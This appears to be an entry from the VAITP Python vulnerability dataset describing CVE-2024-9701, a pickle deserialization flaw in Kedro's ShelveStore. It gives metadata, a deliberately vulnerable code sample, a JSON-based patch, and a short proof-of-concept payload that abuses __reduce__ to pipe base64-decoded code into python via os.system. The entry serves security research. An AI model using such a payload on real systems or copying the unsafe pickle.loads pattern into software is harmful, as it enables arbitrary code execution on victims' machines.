CVE-2024-9701
Kedro ShelveStore RCE via malicious pickle deserialization allows arbitrary code execution.
- CVSS 9.8
- CWE-502
- Input Validation and Sanitization
- Remote
A Remote Code Execution (RCE) vulnerability has been identified in the Kedro ShelveStore class (version 0.19.8). This vulnerability allows an attacker to execute arbitrary Python code via deserialization of malicious payloads, potentially leading to a full system compromise. The ShelveStore class uses Python's shelve module to manage session data, which relies on pickle for serialization. Crafting a malicious payload and storing it in the shelve file can lead to RCE when the payload is deserialized.
- CWE
- CWE-502
- CVSS base score
- 9.8
- Published
- 2025-03-20
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Interface
- Code defect classification
- Serialization Issues
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Kedro
- Fixed by upgrading
- Yes
Solution
Upgrade to Kedro version 0.19.9 or later.
Vulnerable code sample
import os
import shelve
import pickle
from typing import Any
class ShelveStore:
def __init__(self, path: str):
self.path = path
os.makedirs(os.path.dirname(path), exist_ok=True)
# VULNERABLE: deserializes untrusted pickle data
def load(self, key: str) -> Any:
with shelve.open(self.path) as db:
raw = db.get(key)
if raw is None:
raise KeyError(key)
# raw is a pickled object; unsafe unpickle
return pickle.loads(raw)
def save(self, key: str, value: Any) -> None:
with shelve.open(self.path) as db:
# pickle the value before storage
db[key] = pickle.dumps(value)Patched code sample
import os
import shelve
import json
from typing import Any
class ShelveStore:
def __init__(self, path: str):
self.path = path
os.makedirs(os.path.dirname(path), exist_ok=True)
# FIX: uses safe JSON deserialization instead of pickle
def load(self, key: str) -> Any:
with shelve.open(self.path) as db:
raw = db.get(key)
if raw is None:
raise KeyError(key)
# stored as JSON string; safe parse
return json.loads(raw)
def save(self, key: str, value: Any) -> None:
with shelve.open(self.path) as db:
# store JSON-serializable data
db[key] = json.dumps(value)Payload
import pickle
import base64
payload = b"""
import os
os.system('touch /tmp/pwned')
"""
class EvilPickle(object):
def __reduce__(self):
return (os.system, (f"echo {base64.b64encode(payload).decode('utf-8')} | base64 -d | python",))
print(pickle.dumps(EvilPickle()))
Cite this entry
@misc{vaitp:cve20249701,
title = {{Kedro ShelveStore RCE via malicious pickle deserialization allows arbitrary code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2024-9701},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2024-9701/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
